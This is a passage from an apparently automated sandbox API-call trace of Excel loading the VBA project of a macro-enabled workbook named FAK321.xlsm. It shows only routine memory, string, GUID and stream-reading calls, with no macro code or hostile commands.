CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x170df0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0067.073] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0067.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x170f30, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0067.073] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0067.073] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb5e8f80, cb=0x10) returned 0xaf26120 [0067.073] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3aeae0 [0067.073] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb3aeae0) returned 0x80 [0067.073] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb8) returned 0xb3d3bd0 [0067.074] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb8) returned 0xb3d3c90 [0067.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x170df0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0067.074] CoCreateGuid (in: pguid=0x170b20 | out: pguid=0x170b20*(Data1=0x29fbeea9, Data2=0x90c6, Data3=0x4d32, Data4=([0]=0xac, [1]=0xa8, [2]=0xfd, [3]=0xc8, [4]=0xf1, [5]=0x3a, [6]=0x6a, [7]=0x5))) returned 0x0 [0067.074] CoCreateGuid (in: pguid=0x170b30 | out: pguid=0x170b30*(Data1=0x58e737fc, Data2=0x127b, Data3=0x4ff8, Data4=([0]=0xa6, [1]=0xeb, [2]=0xae, [3]=0x99, [4]=0x3, [5]=0x43, [6]=0xd7, [7]=0x42))) returned 0x0 [0067.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x170b40, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0067.074] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0067.074] GetLocalTime (in: lpSystemTime=0x170a18 | out: lpSystemTime=0x170a18*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x3, wDay=0x1a, wHour=0x11, wMinute=0x29, wSecond=0x6, wMilliseconds=0x3cd)) [0067.074] _ultow_s (in: _Value=0x603e78b2, _Buffer=0xb6214b4, _BufferCount=0x9, _Radix=16 | out: _Buffer="603e78b2") returned 0x0 [0067.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="02603e78b2", cchWideChar=11, lpMultiByteStr=0x1709b0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="02603e78b2", lpUsedDefaultChar=0x0) returned 11 [0067.074] strcpy_s (in: _Dst=0xb0d7f58, _DstSize=0x7, _Src="Sheet1" | out: _Dst="Sheet1") returned 0x0 [0067.074] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb5d6c00, cb=0xd0) returned 0xafcea30 [0067.074] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0067.074] wcscpy_s (in: _Destination=0xb6214c8, _SizeInWords=0x7, _Source="Sheet1" | out: _Destination="Sheet1") returned 0x0 [0067.074] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0067.074] wcscpy_s (in: _Destination=0xb6214d8, _SizeInWords=0x7, _Source="Sheet1" | out: _Destination="Sheet1") returned 0x0 [0067.074] IMalloc:Realloc (This=0x7fefecb5380, pv=0xaf27520, cb=0x24) returned 0x7a18110 [0067.074] IMalloc:Realloc (This=0x7fefecb5380, pv=0xafc4fb0, cb=0xc) returned 0xaf27520 [0067.074] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0067.074] IMalloc:Alloc (This=0x7fefecb5380, cb=0x48) returned 0x7977700 [0067.074] IMalloc:Free (This=0x7fefecb5380, pv=0xb5d6b90) [0067.074] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb2be4a0 [0067.074] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb2be4a0, cb=0x74) returned 0x799ec00 [0067.074] IMalloc:Free (This=0x7fefecb5380, pv=0x7977700) [0067.074] IMalloc:Alloc (This=0x7fefecb5380, cb=0x3d0) returned 0xb5aa420 [0067.074] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb2be4a0 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x10) returned 0xaf231a0 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3aeb70 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc4fb0 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc5e40 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x688) returned 0xb3943b0 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3aec00 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x640) returned 0xb6342b0 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0x4fba760 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc4fc0 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xb5e8f80 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0x4fba700 [0067.075] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0xb3aec90 [0067.075] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0067.075] wcsncpy_s (in: _Destination=0x170b90, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0067.075] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", cchLength=0x28 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm") returned 0x28 [0067.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", cchWideChar=41, lpMultiByteStr=0x170ac0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", lpUsedDefaultChar=0x0) returned 41 [0067.075] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0 [0067.075] CExposedStream::Seek () returned 0x0 [0067.076] CExposedStream::AddRef () returned 0x2 [0067.076] CExposedStream::Read () returned 0x0 [0067.076] CExposedStream::AddRef () returned 0x3 [0067.076] CExposedStream::Release () returned 0x2 [0067.076] IMalloc:Alloc (This=0x7fefecb5380, cb=0x2ee0) returned 0xb634900 [0067.076] CExposedStream::Read () returned 0x0 [0067.076] CExposedStream::Read () returned 0x0 [0067.076] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0067.076] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0067.076] IMalloc:Alloc (This=0x7fefecb5380, cb=0x7) returned 0xb5e8fa0 [0067.076] IMalloc:Alloc (This=0x7fefecb5380, cb=0xe) returned 0xaf22440 [0067.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5e8fa0, cbMultiByte=7, lpWideCharStr=0xaf22440, cchWideChar=7 | out: lpWideCharStr="Sheet1") returned 7 [0067.076] IMalloc:Free (This=0x7fefecb5380, pv=0xb5e8fa0) [0067.076] IMalloc:Free (This=0x7fefecb5380, pv=0xaf22440) [0067.076] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0067.076] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0067.077] IMalloc:Alloc (This=0x7fefecb5380, cb=0x28) returned 0x7d65790 [0067.077] IMalloc:Alloc (This=0x7fefecb5380, cb=0x50) returned 0xb2a22e0 [0067.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7d65790, cbMultiByte=40, lpWideCharStr=0xb2a22e0, cchWideChar=40 | out: lpWideCharStr="0{00020820-0000-0000-C000-000000000046}") returned 40 [0067.077] IMalloc:Alloc (This=0x7fefecb5380, cb=0x50) returned 0xb2a23a0 [0067.077] IMalloc:Realloc (This=0x7fefecb5380, pv=0xafc4fb0, cb=0x20) returned 0x76ba5b0 [0067.077] IMalloc:Realloc (This=0x7fefecb5380, pv=0xafc4fc0, cb=0x28) returned 0x76ba5e0 [0067.077] IMalloc:Free (This=0x7fefecb5380, pv=0x7d65790) [0067.077] IMalloc:Free (This=0x7fefecb5380, pv=0xb2a22e0) [0067.077] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0067.077] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0067.077] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0067.077] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0067.077] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0067.078] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0067.078] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0067.078] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0067.078] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0067.078] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0067.078] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0067.078] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0067.078] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0067.078] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0067.079] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0067.079] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0067.079] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0067.079] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0067.079] CExposedStream::Read () returned 0x0 [0067.079] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb634900, cb=0x258) returned 0xb634900 [0067.079] CExposedStream::Release () returned 0x1 [0067.079] CExposedStream::Release () returned 0x0 [0067.080] CExposedStream::Release () returned 0x0 [0067.080] IMalloc:Free (This=0x7fefecb5380, pv=0xb58ae30) [0067.080] IMalloc:Free (This=0x7fefecb5380, pv=0xb588e00) [0067.080] IMalloc:Free (This=0x7fefecb5380, pv=0xb623eb0) [0067.080] IMalloc:Free (This=0x7fefecb5380, pv=0xb621e80) [0067.080] IMalloc:Free (This=0x7fefecb5380, pv=0x79a09c0) [0067.080] malloc (_Size=0x168) returned 0xc438630 [0067.080] malloc (_Size=0x20) returned 0xc437a90 [0067.080] lstrcpyA (in: lpString1=0xc43867c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0067.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc43867c, cbMultiByte=-1, lpWideCharStr=0x1721d0, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8 [0067.081] malloc (_Size=0x138) returned 0xc4387a0 [0067.081] CExposedStream::Stat () returned 0x0 [0067.081] malloc (_Size=0x1a7) returned 0xc4388e0 [0067.081] CExposedStream::Read () returned 0x0 [0067.081] malloc (_Size=0x28) returned 0xc437ac0 [0067.081] malloc (_Size=0x20) returned 0xc437af0 [0067.081] lstrlenA (lpString="") returned 0 [0067.081] lstrcpyA (in: lpString1=0xcadded0, lpString2="" | out: lpString1="") returned="" [0067.081] malloc (_Size=0x28) returned 0xc437b20 [0067.081] malloc (_Size=0x20) returned 0xc437b50 [0067.081] lstrlenA (lpString="") returned 0 [0067.081] lstrcpyA (in: lpString1=0xcaddf10, lpString2="" | out: lpString1="") returned="" [0067.081] malloc (_Size=0x120) returned 0xc438a90 [0067.082] lstrcpynA (in: lpString1=0xc438ab0, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0067.082] malloc (_Size=0x120) returned 0xc438bc0 [0067.082] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0067.082] malloc (_Size=0x36) returned 0xcaddf50 [0067.082] lstrcpyA (in: lpString1=0xcaddf50, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0067.082] malloc (_Size=0x120) returned 0xc438cf0 [0067.082] lstrcpynA (in: lpString1=0xc438d10, lpString2="Workspace", iMaxLength=256 | out: lpString1="Workspace") returned="Workspace" [0067.082] malloc (_Size=0x120) returned 0xc438e20 [0067.083] lstrlenA (lpString="0, 0, 0, 0, C") returned 13 [0067.083] malloc (_Size=0xe) returned 0xcaddf90 [0067.083] lstrcpyA (in: lpString1=0xcaddf90, lpString2="0, 0, 0, 0, C" | out: lpString1="0, 0, 0, 0, C") returned="0, 0, 0, 0, C" [0067.083] malloc (_Size=0x120) returned 0xc438f50 [0067.083] lstrlenA (lpString="0, 0, 0, 0, C") returned 13 [0067.083] malloc (_Size=0xe) returned 0xc4390b0 [0067.083] lstrcpyA (in: lpString1=0xc4390b0, lpString2="0, 0, 0, 0, C" | out: lpString1="0, 0, 0, 0, C") returned="0, 0, 0, 0, C" [0067.083] CExposedStream::Stat () returned 0x0 [0067.083] malloc (_Size=0x3e) returned 0xc439880 [0067.083] CExposedStream::Read () returned 0x0 [0067.083] CExposedStream::Release () returned 0x0 [0067.083] lstrcpyA (in: lpString1=0xcaddef0, lpString2="" | out: lpString1="") returned="" [0067.083] malloc (_Size=0x188) returned 0xc4398d0 [0067.084] lstrcmpiA (lpString1="ThisWorkbook", lpString2="ThisWorkbook") returned 0 [0067.084] lstrlenA (lpString="ThisWorkbook") returned 12 [0067.084] malloc (_Size=0xa8) returned 0xc439a60 [0067.084] lstrcpyA (in: lpString1=0xcaddf30, lpString2="" | out: lpString1="") returned="" [0067.084] malloc (_Size=0x188) returned 0xc439b10 [0067.085] lstrcmpiA (lpString1="Sheet1", lpString2="Sheet1") returned 0 [0067.085] lstrlenA (lpString="Sheet1") returned 6 [0067.085] malloc (_Size=0xa8) returned 0xc439ca0 [0067.085] free (_Block=0xc439880) [0067.085] atoi (_Str="393222000") returned 393222000 [0067.085] lstrcpynA (in: lpString1=0xcadcb0c, lpString2="{C8F04DF2-034E-4916-B4F7-65908A27AE0C}", iMaxLength=39 | out: lpString1="{C8F04DF2-034E-4916-B4F7-65908A27AE0C}") returned="{C8F04DF2-034E-4916-B4F7-65908A27AE0C}" [0067.085] StringFromGUID2 (in: rguid=0x7fee5c978a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lpsz=0xae16338, cchMax=39 | out: lpsz="{00000000-0000-0000-0000-000000000000}") returned 39 [0067.085] lstrcmpA (lpString1="{00000000-0000-0000-0000-000000000000}", lpString2="{C8F04DF2-034E-4916-B4F7-65908A27AE0C}") returned -1 [0067.085] lstrlenA (lpString="{C8F04DF2-034E-4916-B4F7-65908A27AE0C}") returned 38 [0067.085] malloc (_Size=0x4) returned 0xc439880 [0067.085] free (_Block=0xc439880) [0067.085] lstrlenA (lpString="{C8F04DF2-034E-4916-B4F7-65908A27AE0C}") returned 38 [0067.085] malloc (_Size=0x1) returned 0xc439880 [0067.085] free (_Block=0xc439880) [0067.085] lstrlenA (lpString="{C8F04DF2-034E-4916-B4F7-65908A27AE0C}") returned 38 [0067.085] malloc (_Size=0x1) returned 0xc439880 [0067.085] free (_Block=0xc439880) [0067.085] free (_Block=0xc4388e0) [0067.085] free (_Block=0xcaddef0) [0067.085] free (_Block=0xcadded0) [0067.085] free (_Block=0xc437af0) [0067.085] free (_Block=0xc437ac0) [0067.085] free (_Block=0xcaddf30) [0067.086] free (_Block=0xcaddf10) [0067.086] free (_Block=0xc437b50) [0067.086] free (_Block=0xc437b20) [0067.086] free (_Block=0xc4387a0) [0067.086] CExposedStream::Commit () returned 0x0 [0067.086] CExposedStream::Release () returned 0x0 [0067.086] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0067.087] lstrlenA (lpString="&H00000001") returned 10 [0067.087] malloc (_Size=0xb) returned 0xc4390f0 [0067.087] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0067.087] lstrcmpiA (lpString1="&H00000001", lpString2="&H00000001") returned 0 [0067.087] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0067.088] malloc (_Size=0x36) returned 0xc439880 [0067.088] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0067.088] malloc (_Size=0x68) returned 0xcadded0 [0067.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc439880, cbMultiByte=-1, lpWideCharStr=0x172200, cchWideChar=39 | out: lpWideCharStr="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 39 [0067.088] CLSIDFromString (in: lpsz="{3832D640-CF90-11CF-8E43-00A0C911005A}", pclsid=0xcaddefc | out: pclsid=0xcaddefc*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a))) returned 0x0 [0067.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc4398a7, cbMultiByte=-1, lpWideCharStr=0x1721f0, cchWideChar=4 | out: lpWideCharStr="VBE") returned 4 [0067.088] free (_Block=0xc439880) [0067.088] free (_Block=0xc4390f0) [0067.089] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0067.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x515fa28, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0067.089] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0067.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x515fa28, cbMultiByte=11, lpWideCharStr=0xafd9718, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0067.089] lstrlenA (lpString="VBAProject") returned 10 [0067.089] GetCurrentThreadId () returned 0xbdc [0067.089] malloc (_Size=0x50) returned 0xc439d50 [0067.089] GetCurrentThreadId () returned 0xbdc [0067.089] IMalloc:Alloc (This=0x7fefecb5380, cb=0x28) returned 0x7d65790 [0067.089] GetCursorPos (in: lpPoint=0x1723b0 | out: lpPoint=0x1723b0*(x=571, y=443)) returned 1 [0067.089] GetCapture () returned 0x0 [0067.089] WindowFromPoint (Point=0x1bb0000023b) returned 0x102f6 [0067.089] GetWindowThreadProcessId (in: hWnd=0x102f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0067.090] SendMessageA (hWnd=0x102f6, Msg=0x84, wParam=0x0, lParam=0x1bb023b) returned 0x1 [0067.090] SendMessageA (hWnd=0x102f6, Msg=0x20, wParam=0x102f6, lParam=0x2000001) returned 0x1 [0067.090] free (_Block=0xcadc780) [0067.090] free (_Block=0xcadc750) [0068.311] malloc (_Size=0x17) returned 0xc4390f0 [0068.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FAK321.xlsm", cchWideChar=-1, lpMultiByteStr=0xc4390f0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FAK321.xlsm", lpUsedDefaultChar=0x0) returned 12 [0068.311] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0068.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x515fa28, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0068.311] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0068.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x515fa28, cbMultiByte=11, lpWideCharStr=0xafd9718, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0068.311] lstrlenA (lpString="VBAProject") returned 10 [0068.311] lstrcatA (in: lpString1="VBAProject", lpString2=" (" | out: lpString1="VBAProject (") returned="VBAProject (" [0068.311] strncat_s (in: _Destination="VBAProject (", _SizeInBytes=0x187, _Source="FAK321.xlsm", _MaxCount=0x28 | out: _Destination="VBAProject (FAK321.xlsm") returned 0x0 [0068.312] lstrcatA (in: lpString1="VBAProject (FAK321.xlsm", lpString2=")" | out: lpString1="VBAProject (FAK321.xlsm)") returned="VBAProject (FAK321.xlsm)" [0068.314] _wfullpath (in: _Buffer=0x173ed0, _Path="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" [0068.314] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", lpString2="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0 [0068.315] malloc (_Size=0x20) returned 0xc437b20 [0068.315] malloc (_Size=0x98) returned 0xc439db0 [0068.315] lstrcmpiW (lpString1="ThisWorkbook", lpString2="ThisWorkbook") returned 0 [0068.315] IMalloc:Alloc (This=0x7fefecb5380, cb=0xa8) returned 0xaeeefc0 [0068.315] IMalloc:Alloc (This=0x7fefecb5380, cb=0x7f40) returned 0xb804010 [0068.315] IMalloc:Alloc (This=0x7fefecb5380, cb=0x30) returned 0xb6486e0 [0068.349] malloc (_Size=0x28) returned 0xc437b50 [0068.351] malloc (_Size=0x140) returned 0xc439e50 [0068.352] lstrcmpiW (lpString1="Sheet1", lpString2="ThisWorkbook") returned -1 [0068.355] lstrlenA (lpString="ThisWorkbook") returned 12 [0068.355] lstrlenA (lpString="ThisWorkbook") returned 12 [0068.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174160, cbMultiByte=-1, lpWideCharStr=0xc437ac0, cchWideChar=13 | out: lpWideCharStr="ThisWorkbook") returned 13 [0068.355] lstrcmpiW (lpString1="Sheet1", lpString2="ThisWorkbook") returned -1 [0068.355] malloc (_Size=0x98) returned 0xc4387a0 [0068.356] lstrcmpiW (lpString1="Sheet1", lpString2="Sheet1") returned 0 [0068.356] IMalloc:Alloc (This=0x7fefecb5380, cb=0xa8) returned 0xaeeef10 [0068.356] IMalloc:Alloc (This=0x7fefecb5380, cb=0x30) returned 0xb642260 [0068.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x174030, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0068.358] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0068.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x174020, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0068.358] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0068.358] IMalloc:Alloc (This=0x7fefecb5380, cb=0x10) returned 0x7c0bd00 [0068.358] qsort (in: _Base=0x7c0bd00, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee593219c | out: _Base=0x7c0bd00) [0068.358] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1 [0068.358] bsearch (_Key=0x172f58, _Base=0x7c0bd00, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee593219c) returned 0x7c0bd08 [0068.358] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0068.358] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0068.358] IMalloc:Alloc (This=0x7fefecb5380, cb=0x10) returned 0x7c0a480 [0068.358] CLSIDFromString (in: lpsz="{00020819-0000-0000-C000-000000000046}", pclsid=0x7c0a480 | out: pclsid=0x7c0a480*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.359] IMalloc:Free (This=0x7fefecb5380, pv=0xb2a2340) [0068.361] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb627430 [0068.361] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb6273d0 [0068.362] IMalloc:Free (This=0x7fefecb5380, pv=0x7c0a480) [0068.362] IMalloc:Free (This=0x7fefecb5380, pv=0xb627430) [0068.363] IMalloc:Free (This=0x7fefecb5380, pv=0xb6273d0) [0068.363] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb6273d0 [0068.363] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb627430 [0068.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x174030, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0068.365] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0068.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x174020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0068.366] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0068.366] bsearch (_Key=0x172f58, _Base=0x7c0bd00, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee593219c) returned 0x7c0bd00 [0068.366] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 2 [0068.366] IMalloc:Alloc (This=0x7fefecb5380, cb=0x60) returned 0xb5d7d10 [0068.366] IMalloc:Alloc (This=0x7fefecb5380, cb=0x10) returned 0x7c0a480 [0068.366] CLSIDFromString (in: lpsz="{00020820-0000-0000-C000-000000000046}", pclsid=0x7c0a480 | out: pclsid=0x7c0a480*(Data1=0x20820, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.366] IMalloc:Free (This=0x7fefecb5380, pv=0xb2a23a0) [0068.368] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb627400 [0068.369] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb629650 [0068.369] IMalloc:Free (This=0x7fefecb5380, pv=0x7c0a480) [0068.370] IMalloc:Free (This=0x7fefecb5380, pv=0xb627400) [0068.370] IMalloc:Free (This=0x7fefecb5380, 